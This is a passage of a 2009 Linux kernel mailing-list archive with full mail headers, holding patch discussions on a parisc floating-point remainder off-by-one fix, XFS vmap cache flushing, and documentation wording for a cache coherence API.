        bh=CaWtoKVDDi/TiBLeFV98o3gTkramgYv2BYBQdo/hyz8=;
        b=fo+fcIoho0Cn4Dtk3ko0K7E5E2Rvec2+PvI9J/XyMqvDa8pRRIswwyMrqPbMApa0Ym
         /GIbQSACNISFrPkSVnK5fGlC+u7u4t6vWM5FePEyUg3+BlrBwwoftChr+SWZfXOybtIk
         +IID6ho/SzY+tqi+lOSGx7krKBHJ1xH6gZ5yY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:user-agent:mime-version:to:subject
         :content-type:content-transfer-encoding;
        b=kwIu1VHKG0F1m1XWaKdo0na59taKzp6kiP1GEFtXtM8SlEYybGOURaJ/xxQDAuP75J
         3ZGGDeAcFnNCBDpnq9OMmPkixQ422DWU20JhYKwHAEGJG1c9SF4CDCYUI6dOPtAvq5Y7
         lT72opuqklihcCoLlvSpcRd+Rnl85BPZOqHvo=
Original-Received: by 10.213.103.197 with SMTP id l5mr12633231ebo.11.1261919933355;
        Sun, 27 Dec 2009 05:18:53 -0800 (PST)
Original-Received: from zoinx.mars (d133062.upc-d.chello.nl [213.46.133.62])
        by mx.google.com with ESMTPS id 24sm22407956eyx.14.2009.12.27.05.18.52
        (version=SSLv3 cipher=RC4-MD5);
        Sun, 27 Dec 2009 05:18:52 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-4.fc12 Thunderbird/3.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2518
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2518>

With `while (stepcount-- > 0)' stepcount reaches -1 after the loop.

Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
---
 arch/parisc/math-emu/dfrem.c |    2 +-
 arch/parisc/math-emu/sfrem.c |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

Unless I am missing something?

diff --git a/arch/parisc/math-emu/dfrem.c b/arch/parisc/math-emu/dfrem.c
index b983785..3283445 100644
--- a/arch/parisc/math-emu/dfrem.c
+++ b/arch/parisc/math-emu/dfrem.c
@@ -234,7 +234,7 @@ dbl_frem (dbl_floating_point * srcptr1, dbl_floating_point * srcptr2,
 		Dbl_subtract(opnd1p1,opnd1p2,opnd2p1,opnd2p2,opnd1p1,opnd1p2);
 		roundup = TRUE;
 	}
-	if (stepcount > 0 || Dbl_iszero(opnd1p1,opnd1p2)) {
+	if (stepcount >= 0 || Dbl_iszero(opnd1p1,opnd1p2)) {
 		/* division is exact, remainder is zero */
 		Dbl_setzero_exponentmantissa(resultp1,resultp2);
 		Dbl_copytoptr(resultp1,resultp2,dstptr);
diff --git a/arch/parisc/math-emu/sfrem.c b/arch/parisc/math-emu/sfrem.c
index 3a1b7a3..ad87832 100644
--- a/arch/parisc/math-emu/sfrem.c
+++ b/arch/parisc/math-emu/sfrem.c
@@ -229,7 +229,7 @@ sgl_frem (sgl_floating_point * srcptr1, sgl_floating_point * srcptr2,
 		Sgl_subtract(opnd1,opnd2,opnd1);
 		roundup = TRUE;
 	}
-	if (stepcount > 0 || Sgl_iszero(opnd1)) {
+	if (stepcount >= 0 || Sgl_iszero(opnd1)) {
 		/* division is exact, remainder is zero */
 		Sgl_setzero_exponentmantissa(result);
 		*dstptr = result;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: test off by one in sgl_frem() and dbl_frem()
Date: Sun, 27 Dec 2009 10:10:45 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <20091227151047.15BE74EB5@hiauly1.hia.nrc.ca>
References: <4B375F68.80301@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261926665 10640 80.91.229.12 (27 Dec 2009 15:11:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Dec 2009 15:11:05 +0000 (UTC)
Cc: kyle@mcmartin.ca, deller@gmx.de, jejb@parisc-linux.org,
	linux-parisc@vger.kernel.org, akpm@linux-foundation.org,
	linux-kernel@vger.kernel.org
To: roel.kluin@gmail.com (Roel Kluin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 27 16:10:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NOulj-0003Ji-0X
	for glpp-linux-parisc@lo.gmane.org; Sun, 27 Dec 2009 16:10:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751831AbZL0PKy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Dec 2009 10:10:54 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751875AbZL0PKy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 27 Dec 2009 10:10:54 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3805 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751831AbZL0PKx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Dec 2009 10:10:53 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 15BE74EB5; Sun, 27 Dec 2009 10:10:46 -0500 (EST)
In-Reply-To: <4B375F68.80301@gmail.com> from "Roel Kluin" at Dec 27, 2009 02:21:44 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2519 gmane.linux.kernel:931973
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2519>

> With `while (stepcount-- > 0)' stepcount reaches -1 after the loop.
> 
> Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
> ---
>  arch/parisc/math-emu/dfrem.c |    2 +-
>  arch/parisc/math-emu/sfrem.c |    2 +-
>  2 files changed, 2 insertions(+), 2 deletions(-)
> 
> Unless I am missing something?

Are you sure the correct fix isn't to move the decrement of stepcount
into the loop?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: test off by one in sgl_frem() and dbl_frem()
Date: Sun, 27 Dec 2009 09:30:04 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <1261927804.2697.4.camel@mulgrave.site>
References: <4B375F68.80301@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261927827 13377 80.91.229.12 (27 Dec 2009 15:30:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Dec 2009 15:30:27 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>
To: Roel Kluin <roel.kluin@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 27 16:30:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NOv4N-0007Ls-U7
	for glpp-linux-parisc@lo.gmane.org; Sun, 27 Dec 2009 16:30:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752005AbZL0PaM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Dec 2009 10:30:12 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752017AbZL0PaL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 27 Dec 2009 10:30:11 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44460 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752005AbZL0PaK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Dec 2009 10:30:10 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CDF968EE0FF;
	Sun, 27 Dec 2009 07:30:09 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id KonS2TEGjA+B; Sun, 27 Dec 2009 07:30:09 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id EAB178EE0EE;
	Sun, 27 Dec 2009 07:30:06 -0800 (PST)
In-Reply-To: <4B375F68.80301@gmail.com>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2520 gmane.linux.kernel:931976
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2520>

On Sun, 2009-12-27 at 14:21 +0100, Roel Kluin wrote:
> With `while (stepcount-- > 0)' stepcount reaches -1 after the loop.

This is true, but seems to be by design

> Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
> ---
>  arch/parisc/math-emu/dfrem.c |    2 +-
>  arch/parisc/math-emu/sfrem.c |    2 +-
>  2 files changed, 2 insertions(+), 2 deletions(-)
> 
> Unless I am missing something?
> 
> diff --git a/arch/parisc/math-emu/dfrem.c b/arch/parisc/math-emu/dfrem.c
> index b983785..3283445 100644
> --- a/arch/parisc/math-emu/dfrem.c
> +++ b/arch/parisc/math-emu/dfrem.c
> @@ -234,7 +234,7 @@ dbl_frem (dbl_floating_point * srcptr1, dbl_floating_point * srcptr2,
>  		Dbl_subtract(opnd1p1,opnd1p2,opnd2p1,opnd2p2,opnd1p1,opnd1p2);
>  		roundup = TRUE;
>  	}
> -	if (stepcount > 0 || Dbl_iszero(opnd1p1,opnd1p2)) {
> +	if (stepcount >= 0 || Dbl_iszero(opnd1p1,opnd1p2)) {
>  		/* division is exact, remainder is zero */
>  		Dbl_setzero_exponentmantissa(resultp1,resultp2);
>  		Dbl_copytoptr(resultp1,resultp2,dstptr);
> diff --git a/arch/parisc/math-emu/sfrem.c b/arch/parisc/math-emu/sfrem.c
> index 3a1b7a3..ad87832 100644
> --- a/arch/parisc/math-emu/sfrem.c
> +++ b/arch/parisc/math-emu/sfrem.c
> @@ -229,7 +229,7 @@ sgl_frem (sgl_floating_point * srcptr1, sgl_floating_point * srcptr2,
>  		Sgl_subtract(opnd1,opnd2,opnd1);
>  		roundup = TRUE;
>  	}
> -	if (stepcount > 0 || Sgl_iszero(opnd1)) {
> +	if (stepcount >= 0 || Sgl_iszero(opnd1)) {
>  		/* division is exact, remainder is zero */
>  		Sgl_setzero_exponentmantissa(result);
>  		*dstptr = result;

Your patch does nothing to the actual execution flow (Sgl_iszero is true
if stepcount == 0) ... what's the point of applying it?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCHv2 5/5] xfs: fix xfs to work with Virtually Indexed
 architectures
Date: Sun, 27 Dec 2009 09:32:03 -0600
Lines: 102
Approved: news@gmane.org
Message-ID: <1261927923.2697.5.camel@mulgrave.site>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de>
	 <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
	 <1261603345-2494-3-git-send-email-James.Bottomley@suse.de>
	 <1261603345-2494-4-git-send-email-James.Bottomley@suse.de>
	 <1261603345-2494-5-git-send-email-James.Bottomley@suse.de>
	 <1261603345-2494-6-git-send-email-James.Bottomley@suse.de>
	 <20091224110314.GA21653@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261927940 13633 80.91.229.12 (27 Dec 2009 15:32:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Dec 2009 15:32:20 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-arch-owner@vger.kernel.org Sun Dec 27 16:32:12 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NOv6J-00013k-I7
	for glka-linux-arch@lo.gmane.org; Sun, 27 Dec 2009 16:32:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752005AbZL0PcK (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Sun, 27 Dec 2009 10:32:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752136AbZL0PcK
	(ORCPT <rfc822;linux-arch-outgoing>);
	Sun, 27 Dec 2009 10:32:10 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44490 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752005AbZL0PcF (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Sun, 27 Dec 2009 10:32:05 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id AC46E8EE0FF;
	Sun, 27 Dec 2009 07:32:05 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id WwJ8gKoaQqqB; Sun, 27 Dec 2009 07:32:05 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 12C108EE0EE;
	Sun, 27 Dec 2009 07:32:05 -0800 (PST)
In-Reply-To: <20091224110314.GA21653@lst.de>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4940 gmane.linux.ports.parisc:2521
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2521>

On Thu, 2009-12-24 at 12:03 +0100, Christoph Hellwig wrote:
> On Wed, Dec 23, 2009 at 03:22:25PM -0600, James Bottomley wrote:
> > xfs_buf.c includes what is essentially a hand rolled version of
> > blk_rq_map_kern().  In order to work properly with the vmalloc buffers
> > that xfs uses, this hand rolled routine must also implement the flushing
> > API for vmap/vmalloc areas.
> > 
> > Signed-off-by: James Bottomley <James.Bottomley@suse.de>
> 
> Looks good except some minor style issues.  Fix in the version below
> which also adds a helper to calculate the length of the vmap area
> instead of calculating it twice.

Sure ... I nearly did that ... but then there's a lot of stuff like that
repeated in the code.

I'll also add the optimisation that the invalidation is unnecessary in
the write case.

James


> ---
> 
> From: James Bottomley <James.Bottomley@suse.de>
> Subject: [PATCHv2 5/5] xfs: fix xfs to work with Virtually Indexed architectures
> 
> xfs_buf.c includes what is essentially a hand rolled version of
> blk_rq_map_kern().  In order to work properly with the vmalloc buffers
> that xfs uses, this hand rolled routine must also implement the flushing
> API for vmap/vmalloc areas.
> 
> Signed-off-by: James Bottomley <James.Bottomley@suse.de>
> 
> Index: linux-2.6/fs/xfs/linux-2.6/xfs_buf.c
> ===================================================================
> --- linux-2.6.orig/fs/xfs/linux-2.6/xfs_buf.c	2009-12-17 08:05:53.962275389 +0100
> +++ linux-2.6/fs/xfs/linux-2.6/xfs_buf.c	2009-12-24 11:59:02.031073134 +0100
> @@ -76,6 +76,27 @@ struct workqueue_struct *xfsconvertd_wor
>  #define xfs_buf_deallocate(bp) \
>  	kmem_zone_free(xfs_buf_zone, (bp));
>  
> +static inline int
> +xfs_buf_is_vmapped(
> +	struct xfs_buf	*bp)
> +{
> +	/*
> +	 * Return true if the buffer is vmapped.
> +	 *
> +	 * The XBF_MAPPED flag is set if the buffer should be mapped, but the
> +	 * code is clever enough to know it doesn't have to map a single page,
> +	 * so the check has to be both for XBF_MAPPED and bp->b_page_count > 1.
> +	 */
> +	return (bp->b_flags & XBF_MAPPED) && bp->b_page_count > 1;
> +}
> +
> +static inline int
> +xfs_buf_vmap_len(
> +	struct xfs_buf	*bp)
> +{
> +	return (bp->b_page_count * PAGE_SIZE) - bp->b_offset;
> +}
> +
>  /*
>   *	Page Region interfaces.
>   *
> @@ -314,7 +335,7 @@ xfs_buf_free(
>  	if (bp->b_flags & (_XBF_PAGE_CACHE|_XBF_PAGES)) {
>  		uint		i;
>  
> -		if ((bp->b_flags & XBF_MAPPED) && (bp->b_page_count > 1))
> +		if (xfs_buf_is_vmapped(bp))
>  			free_address(bp->b_addr - bp->b_offset);
>  
>  		for (i = 0; i < bp->b_page_count; i++) {
> @@ -1107,6 +1128,9 @@ xfs_buf_bio_end_io(
>  
>  	xfs_buf_ioerror(bp, -error);
>  
> +	if (!error && xfs_buf_is_vmapped(bp))
> +		invalidate_kernel_vmap_range(bp->b_addr, xfs_buf_vmap_len(bp));
> +
>  	do {
>  		struct page	*page = bvec->bv_page;
>  
> @@ -1216,6 +1240,10 @@ next_chunk:
>  
>  submit_io:
>  	if (likely(bio->bi_size)) {
> +		if (xfs_buf_is_vmapped(bp)) {
> +			flush_kernel_vmap_range(bp->b_addr,
> +						xfs_buf_vmap_len(bp));
> +		}
>  		submit_bio(rw, bio);
>  		if (size)
>  			goto next_chunk;
> --
> To unsubscribe from this list: send the line "unsubscribe linux-arch" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html



From - Thu Nov 08 21:05:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCHv2 1/5] mm: add coherence API for DMA to vmalloc/vmap
 areas
Date: Sun, 27 Dec 2009 09:37:30 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <1261928250.2697.9.camel@mulgrave.site>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de>
	 <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
	 <20091224100853.GA3165@console-pimps.org>
	 <20091224123913.GD5335@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261928283 14414 80.91.229.12 (27 Dec 2009 15:38:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Dec 2009 15:38:03 +0000 (UTC)
Cc: Matt Fleming <matt@console-pimps.org>, linux-arch@vger.kernel.org,
	linux-parisc@vger.kernel.org, Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-arch-owner@vger.kernel.org Sun Dec 27 16:37:54 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NOvBX-0003jV-7l
	for glka-linux-arch@lo.gmane.org; Sun, 27 Dec 2009 16:37:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752248AbZL0Phe (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Sun, 27 Dec 2009 10:37:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752211AbZL0Phe
	(ORCPT <rfc822;linux-arch-outgoing>);
	Sun, 27 Dec 2009 10:37:34 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45838 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752151AbZL0Phd (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Sun, 27 Dec 2009 10:37:33 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 14C228EE0FF;
	Sun, 27 Dec 2009 07:37:33 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id QLHFRU7IvPFZ; Sun, 27 Dec 2009 07:37:32 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 444DB8EE0EE;
	Sun, 27 Dec 2009 07:37:32 -0800 (PST)
In-Reply-To: <20091224123913.GD5335@parisc-linux.org>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4941 gmane.linux.ports.parisc:2522
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2522>

On Thu, 2009-12-24 at 05:39 -0700, Matthew Wilcox wrote:
> On Thu, Dec 24, 2009 at 10:08:53AM +0000, Matt Fleming wrote:
> > On Wed, Dec 23, 2009 at 03:22:21PM -0600, James Bottomley wrote:
> > > +
> > > +  void flush_kernel_vmap_range(void *vaddr, int size)
> > > +       flushes the kernel cache for a given virtual address range in
> > > +       the vmap area.  This API makes sure that and data the kernel
> > 
> >   	      	   	       	   	      	^^^ code and data?
> 
> I'd guess it's a typo for 'any data'.
> 
> > > +  void invalidate_kernel_vmap_range(void *vaddr, int size)
> > > +       invalidates the kernel cache for a given virtual address range
> > > +       in the vmap area.  This API is designed to make sure that while
> > > +       I/O went on to an address range in the vmap area, the processor
> > > +       didn't speculate cache reads and thus make the cache over the
> > > +       virtual address stale.
> > > +
> > 
> > Could this sentence be reworked a little? I find the "over the virtual
> > address" part a little difficult to parse.
> 
> How about:
> 
> invalidates the processor cache for a given virtual address range
> in the vmap area.  This API addresses the problem that the processor
> may have performed speculative reads into its cache of the vmapped
> area while I/O was occurring to the underlying physical pages.

So better, I think is

invalidates the cache for a given virtual address range in the vmap area
which prevents the processor from making the cache stale by
speculatively reading data while the I/O was occurring to the physical
pages.

James



From - Thu Nov 08 21:05:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roel Kluin <roel.kluin@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: test off by one in sgl_frem() and dbl_frem()
Date: Sun, 27 Dec 2009 22:11:06 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <4B37CD6A.2000506@gmail.com>
References: <4B375F68.80301@gmail.com> <1261927804.2697.4.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261948105 31166 80.91.229.12 (27 Dec 2009 21:08:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Dec 2009 21:08:25 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 27 22:08:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NP0LY-0004Sh-EC
	for glpp-linux-parisc@lo.gmane.org; Sun, 27 Dec 2009 22:08:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751073AbZL0VIQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Dec 2009 16:08:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751210AbZL0VIQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 27 Dec 2009 16:08:16 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:36600 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751073AbZL0VIP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Dec 2009 16:08:15 -0500
Original-Received: by ewy19 with SMTP id 19so1344326ewy.21
        for <multiple recipients>; Sun, 27 Dec 2009 13:08:14 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from
         :user-agent:mime-version:to:cc:subject:references:in-reply-to
         :content-type:content-transfer-encoding;
        bh=C84jcwZempUBYhwtij9Fd/qh7UoRLBhrgdKuGSZNGQY=;
        b=HPeIMA6rd4gMPhkoviiRzywKCgDqQW2AywsLqilzVhu5NvY2BZZ42tuuXIzhmNK/Fr
         KGhA4vGgZunztoiwIBQBs+Qyj7JXaB+kQb8FaiseqI/LlqOkZdLIabuQRXFjNZHtOp9S
         gubPiyRxwfXblwXb3n50IdTt3H/aCiX0iUnls=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        b=AzwbhHNO9o/mZzzf6lH0/Fe7GMfkTLQ+9laj29WRXvDZfSf28Qloi9KXZHjPBOHRMa
         xrFD8w8Mga/TkalfquZfG3GFaT123l2bsTZg6L220+mH1ngOrsotkRypz8jdHdUC0ezD
         dEyoytZg/HfSKd7U9PRVsS45u4nqTF1iOwXSk=
Original-Received: by 10.213.15.18 with SMTP id i18mr7061089eba.59.1261948093924;
        Sun, 27 Dec 2009 13:08:13 -0800 (PST)
Original-Received: from zoinx.mars (d133062.upc-d.chello.nl [213.46.133.62])
        by mx.google.com with ESMTPS id 23sm23014827eya.3.2009.12.27.13.08.12
        (version=SSLv3 cipher=RC4-MD5);
        Sun, 27 Dec 2009 13:08:13 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-4.fc12 Thunderbird/3.0
In-Reply-To: <1261927804.2697.4.camel@mulgrave.site>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2523 gmane.linux.kernel:932024
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2523>

